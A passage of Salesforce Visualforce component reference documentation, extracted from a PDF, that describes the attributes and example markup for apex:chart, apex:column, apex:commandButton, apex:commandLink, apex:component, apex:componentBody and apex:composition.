. These colors override the default colors used by Visualforce charts.
These colors can in turn be overridden by colorSets provided to individual data series.
26.0
23.0
Specifies the data binding for the chart. This can be a controller method reference in an expression, a JavaScript function, or a JavaScript object. In all cases, the result must be an array of records, and every record must contain all fields referenced in child data series components.
Yes
A Boolean value that specifies whether to float the chart outside the regular HTML document flow using CSS absolute positioning.
The height of the chart rectangle, in pixels when given as an integer, or as a percentage of the height of the containing
Yes
23.0
23.0
372
Standard Component Reference apex:chart
Attribute Name Attribute Type
hidden id legend name rendered renderTo resizable theme
Boolean
String
Boolean
String
Boolean
String
Boolean
String
Description
HTML element, when given as a number followed by a percent sign. Use pixels for consistent behavior across browsers and data sets. Use a percentage when dealing with varying data sets that can produce very tall and short charts.
It's most useful for horizontal bar charts with many bars.
Note: It's a known issue that percentage heights don't work in Firefox.
A Boolean value that specifies whether to show or hide the chart initially. Set to true to render the chart but hide it when the page is first displayed.
An identifier that allows the chart component to be referenced by other components on the page.
A Boolean value that specifies whether to display the default chart legend. Add an
<apex:legend >
component to the chart for more options. If not specified, this value defaults to true.
Name of generated JavaScript object used to provide additional configuration, or perform dynamic operations.
Name must be unique across all chart components. If the encompassing top-level component (
<apex:page >
or
<apex:component >
) is namespaced, the chart name will be prefixed with the namespace, for example,
MyNamespace.MyChart
.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A string to specify the ID of the DOM element to render the chart into.
A Boolean value that specifies whether or not the chart is resizable after rendering.
A string specifying the name of the chart theme to use.
Themes provide pre-defined sets of colors. Available themes are:
•
Salesforce
•
Blue
•
Green
•
Red
•
Purple
•
Yellow
Required?
API
Version
Access
23.0
23.0
23.0
23.0
23.0
23.0
23.0
26.0
global
373
Standard Component Reference apex:chartLabel
Attribute Name Attribute Type
width
String
Description Required?
API
Version
Access
•
Sky
•
Category1
•
Category2
•
Category3
•
Category4
•
Category5
•
Category6
The default, "Salesforce", provides colors which match charts in Salesforce reports and analytics. Use colorSet
to define your own colors for charting components.
The width of the chart rectangle, in pixels when given as an integer, or as a percentage of the width of the containing
HTML element, when given as a number followed by a percent sign. Use pixels for consistent behavior across browsers and data sets. Use a percentage when you want the chart to stretch with the width of the browser window.
Yes 23.0
apex:chartLabel
Defines how labels are displayed. Depending on what component wraps it,
<apex:chartLabel >
gives you options for affecting the display of data series labels, pie chart segment labels, and axes labels.
Note: This component must be enclosed by a data series component or an
<apex:axis >
component.
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" />
<apex:lineSeries title= "Closed-Lost" axis= "left" xField= "name" yField= "data2" />
</apex:chart >
374
Standard Component Reference apex:chartLabel
Attributes
Attribute Name Attribute Type
color display
String
String
Description
The color of the label text specified as an HTML-style
(hexadecimal) color. If not specified, this value defaults to
"#000" (black).
Specifies the position of labels, or disables the display of labels.
Valid options are:
•
rotate
•
middle
•
insideStart
•
insideEnd
•
outside
•
over
•
under
•
none (to hide labels)
If not specified, this value defaults to "middle".
Required?
API
Version
Access
23.0
23.0
field
String 23.0
font id minMargin orientation rendered
String
String
Integer
String
Boolean
The field in each record provided in the chart data from which to retrieve the label for each data point in the series. This field must exist in every record in the chart data. If not specified, this value defaults to "name".
The font to use for the label text, as a CSS-style font definition.
If not specified, this value defaults to "11px Helvetica, sans-serif".
An identifier that allows the chart component to be referenced by other components on the page.
Specifies the minimum distance from a label to the origin of the visualization, in pixels. If not specified, this value defaults to 50.
Display the label text characters normally, or stacked vertically.
Valid options are:
•
horizontal
•
vertical
If not specified, this value defaults to "horizontal" for normal left-to-right text.
A Boolean value that specifies whether the chart label is rendered with the chart. If not specified, this value defaults to true.
23.0
23.0
23.0
23.0
23.0
global
375
Standard Component Reference apex:chartTips
Attribute Name Attribute Type
rendererFn rotate
String
Integer
Description
A string that specifies the name of a JavaScript function that augments or overrides label rendering for axis or series labels.
Required?
API
Version
Access
26.0
Degrees to rotate the label text. If not specified, this value defaults to 0.
23.0
apex:chartTips
Defines tooltips which appear on mouseover of data series elements. This component offers more configuration options than the default tooltips displayed by setting the tips attribute of a data series component to true.
Note: This component must be enclosed by a data series component.
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Millions" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" />
<apex:barSeries title= "Monthly Sales" orientation= "vertical" axis= "left" xField= "name" yField= "data1" >
<apex:chartTips height= "20" width= "120" />
</apex:barSeries >
</apex:chart >
Attributes
Attribute Name Attribute Type
height id labelField rendered
Integer
String
String
Boolean
Description
The height of the tooltip, in pixels.
An identifier that allows the chart component to be referenced by other components on the page.
Required?
API
Version
Access
23.0
23.0
global
23.0
The field in each record of the chart data to use as the label for the tooltip for each data point in the series. Tooltips will be displayed as <label>: <value>. This field must exist in every record in the chart data. If not specified, this value defaults to the labelField for pie and gauge series, and the xField for other data series.
A Boolean value that specifies whether the tooltips for the data series are rendered with the chart. If not specified, this value defaults to true.
23.0
376
Standard Component Reference apex:column
Attribute Name Attribute Type
rendererFn trackMouse valueField width
String
Boolean
String
Integer
Description
A string that specifies the name of a JavaScript function that augments or overrides tooltip rendering for chart tips.
Required?
API
Version
Access
26.0
23.0
A Boolean value that specifies whether the chart tips should follow the mouse pointer. If not specified, this value defaults to true.
The field in each record of the chart data to use as the value for the tooltip for each data point in the series. Tooltips will be displayed as <label>: <value>. This field must exist in every record in the chart data. If not specified, this value defaults to the dataField for pie and gauge series, and the yField for other data series.
The width of the tooltip, in pixels.
23.0
23.0
apex:column
A single column in a table. An
<apex:column >
component must always be a child of an
<apex:dataTable >
or
<apex:pageBlockTable >
component.
Note that if you specify an sObject field as the value
attribute for an
<apex:column >
, the associated label for that field is used as the column header by default. To override this behavior, use the headerValue
attribute on the column, or the column's header facet.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td >
tag for the column in every row of the table.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Account" >
<apex:pageBlock title= "My Content" >
<apex:pageBlockTable value= "{!account.Contacts}" var= "item" >
<apex:column value= "{!item.name}" />
<apex:column value= "{!item.phone}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
377
Standard Component Reference apex:column
Attributes
Attribute Name Attribute Type
breakBefore colspan dir footerClass footercolspan footerdir footerlang footeronclick footerondblclick footeronkeydown footeronkeypress footeronkeyup footeronmousedown footeronmousemove footeronmouseout
Boolean
Integer
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
A Boolean value that specifies whether the column should begin a new row in the table. If set to true, the column begins a new row. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
10.0
global The number of columns that this column spans in the table.
Note that this value does not apply to the header and footer cells.
The direction in which text in the generated column should be read. Possible values include "RTL" (right to left) or "LTR"
(left to right). Note that this value does not apply to the header and footer cells.
The style class used to display the column footer, if defined.
This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
global global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
10.0
10.0
10.0
global global global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global
378
Standard Component Reference apex:column
Attribute Name Attribute Type
footeronmouseover footeronmouseup footerstyle footertitle footerValue headerClass headercolspan headerdir headerlang headeronclick headerondblclick headeronkeydown headeronkeypress headeronkeyup headeronmousedown headeronmousemove headeronmouseout
String
String
String
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
Required?
API
Version
Access
10.0
global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
10.0
global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
The text that should be displayed in the column footer. If you specify a value for this attribute, you cannot use the column's footer facet.
The style class used to display the table header, if defined.
This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The number of columns that the header column spans in the table, if defined. This attribute cannot be used in Visualforce page versions 16.0 and above.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
12.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global global
379
Standard Component Reference apex:column
Attribute Name Attribute Type
headeronmouseover headeronmouseup headerstyle headertitle headerValue id lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
Required?
API
Version
Access
10.0
global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
10.0
global
10.0
global This attribute was deprecated in Salesforce API version 16.0
and has no effect on the page.
The text that should be displayed in the column header. If you specify a value for this attribute, you cannot use the column's header facet. Note also that specifying a value for this attribute overrides the default header label that appears if you use an inputField or outputField in the column body.
An identifier that allows the column component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs in the column --that is, if the column is clicked. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the ondblclick event occurs in the column--that is, if the column is clicked twice. Note that this value does not apply to the header and footer cells.
12.0
10.0
10.0
10.0
10.0
global global global global global
The JavaScript invoked if the onkeydown event occurs in the column --that is, if the user presses a keyboard key. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onkeypress event occurs in the column--that is, if the user presses or holds down a keyboard key. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onkeyup event occurs in the column--that is, if the user releases a keyboard key. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onmousedown event occurs in the column--that is, if the user clicks a mouse button. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onmousemove event occurs in the column--that is, if the user moves the mouse pointer.
10.0
10.0
10.0
10.0
10.0
global global global global global
380
Standard Component Reference apex:column
Attribute Name Attribute Type
onmouseout onmouseover onmouseup rendered rowspan style styleClass title value width
String
String
String
Boolean
Integer
String
String
String
String
String
Description
Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onmouseout event occurs in the column--that is, if the user moves the mouse pointer away from the column. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onmouseover event occurs in the column--that is, if the user moves the mouse pointer over the column. Note that this value does not apply to the header and footer cells.
The JavaScript invoked if the onmouseup event occurs in the column--that is, if the user releases the mouse button. Note that this value does not apply to the header and footer cells.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The number of rows that each cell of this column takes up in the table.
The style used to display the column, used primarily for adding inline CSS styles. Note that this value does not apply to the header and footer cells.
The style class used to display the column, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet. Note that this value does not apply to the header and footer cells.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The text that should be displayed in every cell of the column, other than its header and footer cells. If you specify a value for this attribute, you cannot add any content between the column's opening and closing tags.
The width of the column in pixels (px) or percentage (%). If not specified, this value defaults to 100 pixels.
Required?
API
Version
Access
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
12.0
10.0
global global global global global global global global global global
381
Standard Component Reference
Facets
Facet Name
footer header apex:commandButton
Description API
Version
The components that appear in the footer cell for the column. Note that the order in which a footer facet appears in the body of a column component does not matter, because any facet with name="footer" will control the appearance of the final cell in the column.
If you use a footer facet, you cannot specify a value for the column's footerValue attribute.
10.0
The components that appear in the header cell for the column. Note that the order in which a header facet appears in the body of a column component does not matter, because any facet with name="header" will control the appearance of the first cell in the column. If you use a header facet, you cannot specify a value for the column's headerValue attribute. Note also that specifying a value for this facet overrides the default header label that appears if you use an inputField or outputField in the column body.
10.0
apex:commandButton
A button that is rendered as an HTML input element with the type attribute set to submit, reset, or image, depending on the
<apex:commandButton >
tag's specified values. The button executes an action defined by a controller, and then either refreshes the current page, or navigates to a different page based on the PageReference variable that is returned by the action.
An
<apex:commandButton >
component must always be a child of an
<apex:form >
component.
See also:
<apex:commandLink >
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<apex:commandButton action= "{!save}" value= "Save" id= "theButton" />
The example above renders the following HTML:
<input id= "thePage:theForm:theButton" type= "submit" name= "thePage:theForm:theButton" value= "Save" />
Attributes
Attribute Name
accesskey action
Attribute Type Description
String The keyboard access key that puts the command button in focus. When the command button is in focus, pressing the
Enter key is equivalent to clicking the button.
ApexPages.Action
The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example,
Required?
API
Version
Access
10.0
global
10.0
global
382
Standard Component Reference apex:commandButton
Attribute Name Attribute Type
alt dir disabled id image immediate lang onblur onclick oncomplete ondblclick onfocus
String
String
Boolean
String
String
Boolean
String
String
String
String
String
String
Description
action="{!save}" references the save method in the controller.
If an action isn't specified, the page simply refreshes. Note that command buttons associated with the save, edit, or delete actions in a standard controller are rendered only if the user has the appropriate permissions. Likewise, command buttons associated with the edit and delete actions are rendered only if a record is associated with the page.
An alternate text description of the command button.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether this button should be displayed in a disabled state. If set to true, the button appears disabled. If not specified, this value defaults to false.
An identifier that allows the commandButton component to be referenced by other components in the page.
The absolute or relative URL of the image displayed as this button. If specified, the type of the generated HTML input element is set to "image".
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the command button.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the command button.
The JavaScript invoked when the result of an AJAX update request completes on the client.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the command button twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the command button.
Required?
API
Version
Access
10.0
10.0
10.0
10.0
10.0
11.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global
383
Standard Component Reference apex:commandButton
Attribute Name Attribute Type
onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered reRender status style styleClass tabindex
String
String
String
String
String
String
String
String
Boolean
Object
String
String
String
String
Description
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
10.0
global
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
10.0
global global
10.0
global The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the command button.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the command button.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
The style used to display the commandButton component, used primarily for adding inline CSS styles.
The style class used to display the commandButton component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this button is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be a number between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
384
Standard Component Reference apex:commandLink
Attribute Name Attribute Type
timeout title value
Integer
String
Object
Description
The amount of time (in milliseconds) before an AJAX update request should time out.
Required?
API
Version
Access
10.0
global
10.0
global The text to display as a tooltip when the user's mouse pointer hovers over this component.
The text displayed on the commandButton as its label.
10.0
global
apex:commandLink
A link that executes an action defined by a controller, and then either refreshes the current page, or navigates to a different page based on the PageReference variable that is returned by the action. An
<apex:commandLink >
component must always be a child of an
<apex:form >
component.
To add request parameters to an
<apex:commandLink >
, use nested
<apex:param >
components.
See also:
<apex:commandButton >
,
<apex:outputLink >
.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<a >
tag.
Example
<apex:commandLink action= "{!save}" value= "Save" id= "theCommandLink" />
The example above renders the following HTML:
<a id= "thePage:theForm:theCommandLink" href= "#" onclick= "generatedJs()" >Save </a >
Attributes
Attribute Name
accesskey action
Attribute Type
String
Description
The keyboard access key that puts the command link in focus.
When the command link is in focus, pressing the Enter key is equivalent to clicking the link.
Required?
API
Version
Access
10.0
global
ApexPages.Action
The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example, action="{!save}" references the save() method in the controller.
If an action isn't specified, the page simply refreshes. Note that command links associated with the save, edit, or delete actions in a standard controller are rendered only if the user has the appropriate permissions. Likewise, command links associated with the edit and delete actions are rendered only if a record is associated with the page.
10.0
global
385
Standard Component Reference apex:commandLink
Attribute Name Attribute Type
charset coords dir hreflang id immediate lang onblur onclick oncomplete ondblclick onfocus
String
String
String
String
String
Boolean
String
String
String
String
String
String
Description
The character set used to encode the specified URL. If not specified, this value defaults to "ISO-8859-1".
The position and shape of the hot spot on the screen used for the command link (for use in client-side image maps). The number and order of comma-separated values depends on the shape being defined. For example, to define a rectangle, use coords="left-x, top-y, right-x, bottom-y". To define a circle, use coords="center-x, center-y, radius". To define a polygon, use coords="x1, y1, x2, y2, ..., xN, yN", where x1 = nN and y1
= yN. Coordinates can be expressed in pixels or percentages, and represent the distance from the top-left corner of the image that is mapped. See also the shape attribute.
Required?
API
Version
Access
10.0
global
10.0
global
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
The base language for the resource referenced by this command link, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
10.0
global global
10.0
global An identifier that allows the commandLink component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the command link.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the command link.
The JavaScript invoked when the result of an AJAX update request completes on the client.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the command link twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the command link.
11.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global
386
Standard Component Reference apex:commandLink
Attribute Name Attribute Type
onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rel rendered reRender rev shape status
String
String
String
String
String
String
String
String
String
Boolean
Object
String
String
String
Description
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
10.0
global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the command link.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the command link.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The relationship from the current document to the URL specified by this command link. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specifications .
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The reverse link from the URL specified by this command link to the current document. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specifications .
The shape of the hot spot in client-side image maps. Valid values are default, circle, rect, and poly. See also the coords attribute.
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global
387
Standard Component Reference apex:component
Attribute Name Attribute Type
style styleClass tabindex target timeout title type value
String
String
String
String
Integer
String
String
Object
Description
The style used to display the commandLink component, used primarily for adding inline CSS styles.
Required?
API
Version
Access
10.0
global
10.0
global The style class used to display the commandLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this link is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
10.0
global
10.0
global The name of the frame where the resource retrieved by this command link should be displayed. Possible values for this attribute include "_blank", "_parent", "_self", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination.
The amount of time (in milliseconds) before an AJAX update request should time out.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The MIME content type of the resource designated by this command link. Possible values for this attribute include
"text/html", "image/png", "image/gif", "video/mpeg",
"text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specifications .
The text that is displayed as the commandLink label. Note that you can also specify text or an image to display as the command link by embedding content in the body of the commandLink tag. If both the value attribute and embedded content are included, they are displayed together.
10.0
10.0
10.0
10.0
global global global global
apex:component
A custom Visualforce component. All custom component definitions must be wrapped inside a single
<apex:component >
tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container tag,
<div >
or
<span >
, depending on the layout
attribute.
Example
<!-- Page: -->
388
Standard Component Reference
<apex:page >
<c:myComponent myValue= "My component's value" borderColor= "red" />
</apex:page > apex:component
<!-- Component:myComponent -->
<apex:component >
<apex:attribute name= "myValue" description= "This is the value for the component." type= "String" required= "true" />
<apex:attribute name= "borderColor" description= "This is color for the border." type= "String" required= "true" />
<h1 style= "border:{!borderColor}" >
<apex:outputText value= "{!myValue}" />
</h1 >
</apex:component >
Attributes
Attribute Name Attribute Type
access allowDML
String
Boolean
Description
Indicates whether the component can be used outside of any page in the same namespace as the component. Possible values are "public" (default) and "global". Use global to indicate the component can be used outside of the component's namespace. If the access attribute is set to global, the access attribute on all required child apex:attributes must also be set to global. If the access attribute is set to public, the access attribute on child apex:attributes cannot be set to global. Note: Components with this designation are subject to the deprecation policies as described for managed packages.
Required?
API
Version
Access
14.0
If this attribute is set to "true", you can include DML within the component. The default is "false". Allowing DML can cause side-effects that could be problematic for consumers using the component with partial page updates. When allowing
DML within a component, you should include rerender attributes so the consumer can appropriately refresh their
13.0
global
389
Standard Component Reference apex:component
Attribute Name Attribute Type
controller extensions id language layout rendered selfClosing
String
String
String
String
String
Boolean
Boolean
Description
page. In addition, you should detail, in the description of the component, what data is manipulated by the DML so that consumers of the component are aware of potential side-effects.
The name of the Apex controller used to control the behavior of this custom component.
The name of one or more controller extensions that add additional logic to this custom component.
An identifier that allows the component to be referenced by other tags in the component definition.
The language used to display labels that have associated translations in Salesforce. This value overrides the language of the user viewing the component. Possible values for this attribute include any language keys for languages supported by Salesforce, for example, "en" or "en-US".
The HTML layout style for the component. Possible values are
"block" (which wraps the component with an HTML div tag),
"inline" (which wraps the component with an HTML span tag), and "none" (which does not wrap the component with any generated HTML tag). If not specified, this value defaults to "inline".
A Boolean value that specifies whether the custom component is rendered. If not specified, this value defaults to "true".
A Boolean value that specifies how the Visualforce editor closes this component. If this attribute is set to "true", the
Visualforce editor auto-completes the component as a self-closing tag. If not, it auto-completes the component with open and close tags. For example, if this attribute is set to
"true" on a component called myComponent, the editor will auto-complete it as <c:myComponent/>. If it's set to "false", it will auto-complete it as
<c:myComponent></c:myComponent>. If the component includes a componentBody, the default for this attribute is
"false". If the component doesn't include a componentBody, the default for the attribute is "true".
Required?
API
Version
Access
12.0
12.0
12.0
12.0
12.0
12.0
15.0
global global global global global global
390
Standard Component Reference apex:componentBody
apex:componentBody
This tag allows a custom component author to define a location where a user can insert content into the custom component. This is especially useful for generating custom iteration components. This component is valid only within an
<apex:component >
tag, and only a single definition per custom component is allowed.
Simple Example
<!-- Page: -->
<apex:page >
<apex:outputText value= "(page) This is before the custom component" /> <br/ >
<c:bodyExample >
<apex:outputText value= "(page) This is between the custom component" /> <br/ >
</c:bodyExample >
<apex:outputText value= "(page) This is after the custom component" /> <br/ >
</apex:page >
<!-- Component: bodyExample -->
<apex:component >
<apex:outputText value= "First custom component output" /> <br/ >
<apex:componentBody />
<apex:outputText value= "Second custom component output" /> <br/ >
</apex:component >
Advanced Example
<!-- Page: -->
<apex:page >
<c:myaccounts var= "a" >
<apex:panelGrid columns= "2" border= "1" >
<apex:outputText value= "{!a.name}" />
<apex:panelGroup >
<apex:panelGrid columns= "1" >
<apex:outputText value= "{!a.billingstreet}" />
<apex:panelGroup >
<apex:outputText value= "{!a.billingCity},
{!a.billingState} {!a.billingpostalcode} "/>
</apex:panelGroup >
</apex:panelGrid >
</apex:panelGroup >
</apex:panelGrid >
</c:myaccounts >
</apex:page >
<!-- Component: myaccounts-->
<apex:component controller= "myAccountsCon" >
<apex:attribute name= "var" type= "String" description= "The variable to represent a single account in the iteration.
"/>
<apex:repeat var= "componentAccount" value= "{!accounts}" >
<apex:componentBody >
<apex:variable var= "{!var}" value= "{!componentAccount}" />
391
Standard Component Reference apex:componentBody
</apex:componentBody >
</apex:repeat >
</apex:component >
/*** Controller ***/ public class myAccountsCon { public List <Account > accounts { get { accounts = [select name, billingcity, billingstate, billingstreet, billingpostalcode from account where ownerid = :userinfo.getuserid()]; return accounts;
} set;
}
}
The example above renders the following HTML:
<table width= "100%" cellspacing= "0" cellpadding= "0" border= "0" id= "bodyTable" class= "outer" >
<!-- Start page content table -->
<tbody > <tr > <td id= "bodyCell" class= "oRight" >
<!-- Start page content -->
<a name= "skiplink" > <img width= "1" height= "1" title= "Content Starts Here" class= "skiplink" alt= "Content Starts Here" src= "/s.gif" /> </a > <span id= "j_id0:j_id1" >
<table border= "1" >
<tbody >
<tr >
<td >sForce </td >
<td > <table >
<tbody >
<tr >
<td >The Land 's Mark @ One Market</td>
</tr >
<tr >
<td >San Francisco, CA 94087 </td >
</tr >
</tbody >
</table >
</td >
</tr >
</tbody >
</table >
<table border= "1" >
<tbody >
<tr >
<td >University U </td >
<td >
<table >
<tbody >
392
Standard Component Reference
<tr >
<td >888 N Euclid
Hallis Center, Room 501
Tucson, AZ 85721
United States </td >
</tr >
</tr >
</tbody >
</table >
<tr >
<td >Tucson, AZ </td >
</td >
</tr >
</tbody >
</table >
</span >
</td >
</tr >
</tbody >
</table > apex:composition
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
13.0
global
13.0
global
apex:composition
An area of a page that includes content from a second template page. Template pages are Visualforce pages that include one or more
<apex:insert >
components. The
<apex:composition >
component names the associated template, and provides body for the template's
<apex:insert >
components with matching
<apex:define >
components. Any content outside of an
<apex:composition >
component is not rendered.
See also:
<apex:insert >
,
<apex:define >
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below.
-->
<apex:page >
<apex:outputText value= "(template) This is before the header" /> <br/ >
393
Standard Component Reference apex:dataList
<apex:insert name= "header" /> <br/ >
<apex:outputText value= "(template) This is between the header and body" /> <br/ >
<apex:insert name= "body" />
</apex:page >
<!-- Page: page -->
<apex:page >
<apex:composition template= "composition" >
<apex:define name= "header" >(page) This is the header of mypage </apex:define >
<apex:define name= "body" >(page) This is the body of mypage </apex:define >
</apex:composition >
</apex:page >
The example above renders the following HTML:
(template) This is before the header <br/ >
(page) This is the header of mypage <br/ >
(template) This is between the header and body <br/ >
(page) This is the body of mypage
Attributes
Attribute Name Attribute Type
rendered
String
Description
This attribute has no effect on the display of this component.
